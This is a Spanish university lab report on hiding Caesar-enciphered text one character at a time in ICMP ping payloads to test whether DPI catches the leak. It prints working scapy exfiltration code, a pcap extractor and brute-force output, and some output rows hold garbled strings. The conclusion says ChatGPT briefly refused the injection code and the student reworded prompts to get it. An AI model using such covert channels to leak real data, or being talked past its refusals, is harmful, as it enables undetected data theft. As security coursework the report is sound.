

Informe Laboratorio 1

Sección 2

Camilo Rios

e-mail: camilo.rios1@mail.udp.cl

Septiembre de 2025

Índice

1. Descripción	2
2. Actividades	2
2.1. Algoritmo de cifrado	2
2.2. Modo stealth	2
2.3. MitM	3
3. Desarrollo de Actividades	4
3.1. Actividad 1	4
3.2. Actividad 2	5
3.3. Actividad 3	8

1. Descripción

1. Usted empieza a trabajar en una empresa tecnológica que se jacta de poseer sistemas que permiten identificar filtraciones de información a través de Deep Packet Inspection (DPI). A usted le han encomendado auditar si efectivamente estos sistemas son capaces de detectar las filtraciones a través de tráfico de red. Debido a que el programa ping es ampliamente utilizado desde dentro y hacia fuera de la empresa, su tarea será crear un software que permita replicar tráfico generado por el programa ping con su configuración por defecto, pero con fragmentos de información confidencial. Recuerde que al comparar tráfico real con el generado no debe gatillar alarmas. De todas formas, deberá hacer una prueba de concepto, en la cual se demuestre que al conocer el algoritmo, será fácil determinar el mensaje en claro. Para los pasos 1,2,3 indicar el texto entregado a IA Generativa y validar si el código resultante cumple con lo requerido.

2. Actividades

2.1. Algoritmo de cifrado

1. Generar un programa, en python3 utilizando IA Generativa, que permita cifrar texto utilizando el algoritmo Cesar. Como parámetros de su programa deberá ingresar el string a cifrar y luego el desplazamiento.

```
└─$ ~/Desktop $ sudo python3 cesar.py "criptografia y seguridad en redes" 9
larycxpajorj h bnpdarmjm nw anmnb
```

2.2. Modo stealth

1. Generar un programa, en python3 utilizando IA Generativa, que permita enviar los caracteres del string (el del paso 1) en varios paquetes ICMP request (un caracter por paquete en el campo data de ICMP) para de esta forma no gatillar sospechas sobre la filtración de datos. Deberá mostrar los campos de un ping real previo y posterior al suyo y demostrar que su tráfico consideró todos los aspectos para pasar desapercibido.

```
└─$ ~/Desktop $ sudo python3 pingv4.py "larycxpajorj h bnpdarmjm nw anmnb"
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

El último carácter del mensaje se transmite como una b.



2.3. MitM

1. Generar un programa, en python3 utilizando IA Generativa, que permita obtener el mensaje transmitido en el paso2. Como no se sabe cual es el desplazamiento utilizado, genere todas las combinaciones posibles e imprímalas, indicando en verde la opción más probable de ser el mensaje en claro.

```

$ sudo python3 readv2.py cesar.pcapng
0      larycxpajorj h bnpdarmjm nw anmnb
1      kzqxbwozinqi g amoczqlil mv zmlma
2      jypwavnyhmp h f zlnbypkhh lu yklkz
3      ixovzumxglog e ykmaxojgj kt xkjky
4      hwnuytlwfknd d xjlzwnifi js wjiyx
5      gvmtxskvejme c wikyvmheh ir vihiw
6      fulswrjudild b vhjxulgdg hq uhghv
7      etkrvqitchkc a ugiwtkfcf gp tgfgu
8      dsjquphsbgjb z tfhvsjebe fo sfeft
9      criptografia y seguridad en redes
10     bqhosnfqzehz x rdftqhczc dm qdcdr
11     apgnrmepdygy w qcespgbyb cl pcabcq
12     zofmqldoxcfx v pbdrofaxa bk obabp
13     ynelpkcnwbew u oacqnezwz aj nazao
14     xmdkojbmadv t nzbpmdivy zi mzyzn
15     wlcjnia luzcu s myaolcxux yh lyxym
16     vkbimhzktybt r lxznkbwtw xg kxwxl
17     ujahlgysxas q kwymjavsv wf jwvwk
18     tizgkfxirwzr p jvxlizuru ve ivuvj
19     shyfjewhqvyq o iuwkhytqt ud hutui
20     rgxeidvgpuxp n htvjgxspz tc gtsth
21     qfwdhcufotwo m gsuifwrwr sb ffsrg
22     pevcbtensvn l frthevqng ra erqrf
23     odubfasdmrum k eqsgdupmp qz dqpqe
24     nctaezrcqltl j dprfctolo py cpopd
25     mbszdyqbksk i coqebnkn ox bonoc

```

Finalmente, deberá indicar por qué eligió esa IA Generativa en relación a otras del mercado. Comente si tuvo algún problema al momento de generar los códigos.

3. Desarrollo de Actividades

3.1. Actividad 1

Para la actividad se utiliza la IA generativa ChatGPT con el siguiente prompt *'Genera un código en python que permita ingresar como parámetro un string a cifrar y luego el desplazamiento del cifrado cesar. Utiliza el abecedario en ingles (sin la ñ), normaliza la entrada a lowercase y verifica que todos los caracteres de entrada se encuentren en el abecedario para no permitir caracteres especiales. Por ejemplo si yo ingreso como parametro 'criptografia y seguridad en redes' con desplazamiento 9, el output debería ser 'larycxpajorj h bnpdarmjmw anmnb'*.

Como respuesta se obtiene el siguiente código:

```

1 import sys
2
3 def cifrado_cesar(texto, desplazamiento):
4     abecedario = "abcdefghijklmnopqrstuvwxyz"
5     resultado = ""
6
7     for char in texto.lower():
8         if char == " ": # mantener espacios
9             resultado += " "
10        elif char in abecedario:
11            indice = abecedario.index(char)
12            nuevo_indice = (indice + desplazamiento) % len(abecedario)
13            resultado += abecedario[nuevo_indice]
14        else:
15            raise ValueError(f"Caracter no permitido: '{char}'")
16
17    return resultado
18
19 if __name__ == "__main__":
20     if len(sys.argv) != 3:
21         print("Uso: python lab1.py \"texto\" desplazamiento")
22         sys.exit(1)
23
24     texto = sys.argv[1]
25     desplazamiento = int(sys.argv[2])
26
27     try:
28         cifrado = cifrado_cesar(texto, desplazamiento)
29         print(cifrado)
30     except ValueError as e:
31         print(e)
32     sys.exit(1)

```

Listing 1: Cifrado César en Python

Y al ejecutarlo se obtiene el siguiente resultado:

```

chmlo@chmlo:~/udp/obsidian/UDP/8vo semestre/Criptografia/Lab/lab_1$ python3 cesar.py "criptografia y seguridad en redes" 9
larycxpajorj h bnpdarmjm nw anmnb

```

Figura 1: Resultado de ejecutar el script de Python por consola.

Con el resultado obtenido se puede concluir que el código entregado por la IA cumple con lo requerido para la actividad, entregando 'larycxpajorj h bnpdarmjm nw anmnb' en la salida y realizando la verificación de caracteres distintos a letras además de aplicar el operador de módulo en la línea 12 para que la secuencia sea cíclica a partir del largo del arreglo que se considera como abecedario.

3.2. Actividad 2

Para esta segunda actividad se utiliza el comando ping 8.8.8.8 para analizar el contenido de un ping real en la herramienta Wireshark con el filtro de búsqueda 'icmp' como se muestra a continuación:

Filtro búsqueda Wireshark

No.	Time	Source	Destination	Protocol	Length	Info
65	4.836385928	192.168.182.128	8.8.8.8	ICMP	100	Echo (ping) request id=0x40c5, seq=1/256, ttl=64 (reply in 66)
66	4.832949017	8.8.8.8	192.168.182.128	ICMP	100	Echo (ping) reply id=0x40c5, seq=1/256, ttl=128 (request in 65)
69	5.833378264	192.168.182.128	8.8.8.8	ICMP	100	Echo (ping) request id=0x40c5, seq=2/512, ttl=64 (reply in 70)
70	5.836543159	8.8.8.8	192.168.182.128	ICMP	100	Echo (ping) reply id=0x40c5, seq=2/512, ttl=128 (request in 69)
99	8.835458106	192.168.182.128	8.8.8.8	ICMP	100	Echo (ping) request id=0x40c5, seq=3/768, ttl=64 (reply in 100)
100	8.837899095	8.8.8.8	192.168.182.128	ICMP	100	Echo (ping) reply id=0x40c5, seq=3/768, ttl=128 (request in 99)
125	7.837826548	192.168.182.128	8.8.8.8	ICMP	100	Echo (ping) request id=0x40c5, seq=4/1024, ttl=64 (reply in 126)
126	7.840326237	8.8.8.8	192.168.182.128	ICMP	100	Echo (ping) reply id=0x40c5, seq=4/1024, ttl=128 (request in 125)

Frame 65: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface any, id 0

Linux cooked capture v1

Internet Protocol Version 4, Src: 192.168.182.128, Dst: 8.8.8.8

Internet Control Message Protocol

- Type: 8 (Echo (ping) request)
- Code: 0
- Checksum: 0xaf7f [correct]
- [Checksum Status: Good]
- Identifier (BE): 16581 (0x40c5)
- Identifier (LE): 50496 (0xc540)
- Sequence Number (BE): 1 (0x0001)
- Sequence Number (LE): 256 (0x0100)
- [Response frame: 66]
- Timestamp from icmp data: Sep 1, 2025 19:17:31.808187000 -04
- [Timestamp from icmp data (relative): 0.000013813 seconds]

Data (40 bytes)

Data: 101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637

Datos importantes

Payload

Figura 2: Captura de ping real en Wireshark.

En la figura 2 se observa que el contenido cuenta con elementos clave como *Checksum*, *Identifier*, *Sequence Number*, *Timestamp* y luego los bytes de datos. Teniendo en cuenta esta información se crea una nueva instancia de ChatGPT y se ingresa el siguiente prompt: 'Genera un código de python que envíe diferentes pings a una ip, enviando en el apartado de 'Data' cada carácter de un string recibido como parámetro de consola. La idea es que el carácter se encuentre en el noveno byte del payload (después del timestamp) y el resto sea relleno que simule un ping real. Arma el paquete icmp de forma que se asemeje lo más posible a un paquete valido considerando los campos importantes como identification, timestamp, sequence number, id, payload ICMP (8 primeros bytes para timestamp, 1 byte para carácter y relleno desde 0x10 hasta 0x37).', a lo que la IA responde con el siguiente código:

```

1 #!/usr/bin/env python3
2 from scapy.all import IP, ICMP, Raw, send
3 import sys
4 import os

```

```

5 import time
6
7 def build_payload(char: str) -> bytes:
8     """
9     Construye un payload de 40 bytes:
10    - Bytes 0-7 : timestamp (4s + 4 s )
11    - Byte 8 : carcter del string
12    - Bytes 9-39: patr n incremental tipo ping real
13    """
14    # Timestamp (8 bytes: 4s + 4 s )
15    now = time.time()
16    sec = int(now)
17    usec = int((now - sec) * 1_000_000)
18    timestamp = sec.to_bytes(4, "big") + usec.to_bytes(4, "big")
19
20    # Carcter
21    data = char.encode("utf-8")
22
23    # Patr n incremental para completar 40 bytes
24    pattern = bytes([0x10 + i for i in range(40 - len(timestamp) - len(data))])
25
26    payload = timestamp + data + pattern
27    return payload[:40]
28
29 def main():
30     if len(sys.argv) < 3:
31         print(f"Uso: {sys.argv[0]} <ip_destino> <string>")
32         sys.exit(1)
33
34     dst_ip = sys.argv[1]
35     text = sys.argv[2]
36
37     print(f"Enviando pings a {dst_ip} con datos ocultos en payload...")
38
39     for seq, char in enumerate(text, start=1):
40         payload = build_payload(char)
41
42         print(char) # Imprime solo la letra enviada
43
44         # Armamos el paquete IP + ICMP
45         pkt = IP(dst=dst_ip, id=os.getpid() & 0xFFFF) / \
46             ICMP(id=os.getpid() & 0xFFFF, seq=seq) / \
47             Raw(load=payload)
48
49         #pkt.show2() # Muestra c mo queda el paquete
50
51         send(pkt, verbose=1)
52         time.sleep(1)
53
54 if __name__ == "__main__":
55     main()

```

Listing 2: Envio de caracteres mediante pings en Python

Y al ejecutarlo devuelve el siguiente resultado por consola:

```

n
.
Sent 1 packets.
w
.
Sent 1 packets.
.
Sent 1 packets.
a
.
Sent 1 packets.
n
.
Sent 1 packets.
m
.
Sent 1 packets.
n
.
Sent 1 packets.
b
.
Sent 1 packets.
o chmlo@chmlo:~/udp/obsidian/UDP

```

Figura 3: Extracto del resultado de ejecutar un script de Python.

Este extracto del resultado muestra la parte final de la cadena enviada, correspondiente a las ultimas dos palabras de la frase cifrada. Para comprobar que efectivamente se realiza el envío de los paquetes se utiliza la herramienta wireshark donde se filtra por tipo de mensaje 'icmp' y se obtiene lo siguiente:

Filtro búsqueda Wireshark

No.	Time	Source	Destination	Protocol	Length	Info
392	55.255464262	192.168.182.128	8.8.8.8	ICMP	84	Echo (ping) request id=0x348f, seq=32/8192, ttl=64 (reply in 393)
393	55.257893795	8.8.8.8	192.168.182.128	ICMP	84	Echo (ping) reply id=0x348f, seq=32/8192, ttl=128 (request in 392)
394	56.282096855	192.168.182.128	8.8.8.8	ICMP	84	Echo (ping) request id=0x348f, seq=33/8448, ttl=64 (reply in 395)
395	56.284936548	8.8.8.8	192.168.182.128	ICMP	84	Echo (ping) reply id=0x348f, seq=33/8448, ttl=128 (request in 394)

Datos ICMP

Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0x779b [correct]
[Checksum Status: Good]
Identifier (BE): 13455 (0x348f)
Identifier (LE): 36600 (0x8f34)
Sequence Number (BE): 33 (0x0021)
Sequence Number (LE): 8448 (0x2100)
[Response frame: 395]
Timestamp from icmp data: Sep 1, 2025 19:02:44.755692000 -04
[Timestamp from icmp data (relative): 0.018693972 seconds]

Carácter enviado (b) con relleno

Figura 4: Detalles de un paquete capturado en wireshark.

Como se puede observar en la figura 4, el paquete contiene los datos relevantes mencionados anteriormente como *Checksum*, *Identifier*, *Sequence Number*, *Timestamp*, seguido de los bytes de datos, cada uno de ellos con valores coherentes como en el paquete icmp mostrado anteriormente. Además, se observa el carácter 'b' en el campo de datos del protocolo ICMP, esto corresponde al último carácter enviado por el script de python, de modo que se puede comprobar que el código generado por la IA envía la cadena cifrada de forma correcta y sin levantar sospechas, por lo que cumple con lo requerido.

3.3. Actividad 3

Para esta última actividad se guarda el archivo '.pcapng' de captura de Wireshark de la actividad anterior que contiene los mensajes ICMP con la palabra cifrada separada por carácter y 'camuflada' dentro del payload. Considerando este archivo se utiliza un nuevo chat de ChatGPT con el siguiente prompt:

'Genera un código en python que reciba un archivo .pcapng (Wireshark) como parametro y que busque mensajes icmp desde la dirección '192.168.182.128' hacia la dirección '8.8.8.8', de cada uno de ellos extrae el noveno byte y concaténalos en un string. Luego realiza el descifrado cesar de 25 rotaciones distintas mostrando por consola cada una de las combinaciones.'

A lo que la IA responde con el siguiente código:

```

1 import sys
2 from scapy.all import rdpcap, ICMP, IP
3 def extraer_bytes_icmp(pcap_file, src_ip, dst_ip):
4     packets = rdpcap(pcap_file)
5     mensaje_bytes = []
6
7     for pkt in packets:
8         if IP in pkt and ICMP in pkt:
9             ip_layer = pkt[IP]
10            icmp_layer = pkt[ICMP]
11
12            if ip_layer.src == src_ip and ip_layer.dst == dst_ip:
13                if len(icmp_layer.payload) > 8: # verificamos que haya al menos 9 bytes
14                    noveno_byte = bytes(icmp_layer.payload)[8]
15                    mensaje_bytes.append(noveno_byte)
16
17    mensaje = ''.join(chr(b) for b in mensaje_bytes)
18    return mensaje
19
20 def cesar_descifrar(texto, desplazamiento):
21     resultado = ''
22     for char in texto:
23         if 'a' <= char <= 'z':
24             resultado += chr((ord(char) - ord('a') - desplazamiento) % 26 + ord('a'))
25         elif 'A' <= char <= 'Z':
26             resultado += chr((ord(char) - ord('A') - desplazamiento) % 26 + ord('A'))
27         else:
28             resultado += char
29     return resultado
30
31 if __name__ == "__main__":
32     if len(sys.argv) != 2:
33         print(f"Uso: python {sys.argv[0]} archivo.pcapng")
34         sys.exit(1)
35
36     archivo_pcap = sys.argv[1]
37     src_ip = "192.168.182.128"
38     dst_ip = "8.8.8.8"
39
40     mensaje = extraer_bytes_icmp(archivo_pcap, src_ip, dst_ip)
41     print(f"Mensaje extraído: {mensaje}")
42
43     print("\nProbando todas las rotaciones de Cesar (1 a 25):")
44     for i in range(1, 26):
45         descifrado = cesar_descifrar(mensaje, i)
46         print(f"Rotación {i}: {descifrado}")

```

Listing 3: Descifrado cesar a partir de .pcapng en Python

Y al ejecutarlo se obtiene el siguiente resultado:

```
• chmlo@chmlo:~/udp/obsidian/UDP/8vo semestre/Criptografía/Lab/lab_1$  
Mensaje extraído: larycxpajorj h bnpdarmjm nw anmnb  
  
Probando todas las rotaciones de César (1 a 25):  
Rotación 1: kzqxbwozinqi g amoczqlil mv zmlma  
Rotación 2: jypwavnymph f zlnbypkhk lu ylkiz  
Rotación 3: ixovzumxglog e ykmaxojgj kt xkjky  
Rotación 4: hwnuytlwfknd d xjlzwnifi js wjijx  
Rotación 5: gvmtxskvejme c wikyvmheh ir vihiw  
Rotación 6: fulswrjudild b vhjxulgdg hq uhghv  
Rotación 7: etkrvqitchkc a ugiwtkfcf gp tgfgu  
Rotación 8: dsjquphsbgjb z tfhvsjebe fo sfeft  
Rotación 9: criptografia y seguridad en redes  
Rotación 10: bqhosnfqzehz x rdftqhczc dm qdcdr  
Rotación 11: apgnrmepdygy w qcespgbyb cl pcbcq  
Rotación 12: zofmqldoxcfx v pbdrofaxa bk obabp  
Rotación 13: ynelpkcnwbew u oacqnezwz aj nazao  
Rotación 14: xmdkojbmadv t nzbpmdivvy zi mzyzn  
Rotación 15: wlcjnia luzcu s myaolcxux yh lyxym  
Rotación 16: vkbmhzktybt r lxznkbwtw xg kxwxl  
Rotación 17: ujahlgysxas q kwymjavsv wf jvwvk  
Rotación 18: tizgkfxirwzr p jvxlizuru ve ivuvj  
Rotación 19: shyfjewhqvyq o iuwkhytqt ud hutui  
Rotación 20: rgxeidvgpuxp n htvjgxspz tc gtsth  
Rotación 21: qfwdhcufotwo m gsuifwrwr sb fsrsg  
Rotación 22: pevcbgtensvn l frthevqng ra erqrf  
Rotación 23: odubfasdmrum k eqsgdupmp qz dqpqe  
Rotación 24: nctaezrcqlt j dprfctolo py cpopd  
Rotación 25: mbszdyqbksk i coqebnskn ox bonoc
```

Figura 5: Resultado de ejecutar un script de Python.

En la figura 5 se observa como se realiza cada uno de los desplazamientos del descifrado cesar correspondientes al alfabeto sin la letra ñ, notando que en el desplazamiento 9 se encuentra la frase original que se ingresó en la actividad 1. EL resultado tiene sentido ya que el desplazamiento es el inverso aditivo del que se utiliza para cifrar la frase por lo que el código generado por la IA cumple con lo requerido para esta actividad final.

Conclusiones y comentarios

Durante el desarrollo del laboratorio se lograron implementar con éxito las tres actividades solicitadas, utilizando herramientas la herramienta de IA generativa ChatGPT, elegida por ser la más conocida y versátil a la hora de su uso, para la creación de código en Python y comprobando su funcionamiento en cada ejecución. A partir de los resultados obtenidos en cada actividad es posible concluir que los códigos entregados por la IA generativa cumplen con los objetivos planteados, además se adquirió la experiencia de cómo la información puede ser inyectada en tráfico ICMP sin levantar sospechas y posteriormente recuperada mediante un ataque de fuerza bruta sobre el cifrado César.

A lo largo del desarrollo se encontraron algunas complicaciones como la configuración del entorno virtual de Python para el uso de librerías externas como scapy, la necesidad de una correcta comprensión del contenido de los mensajes ICMP reales para armar el mensaje

manipulado, la negación momentánea de la IA de entregar el código de inyección de paquetes ICMP porque podía ser usados para fines no éticos y la cuidadosa redacción de los prompt para que la IA cumpliera con los requerimientos de cada una de las actividades.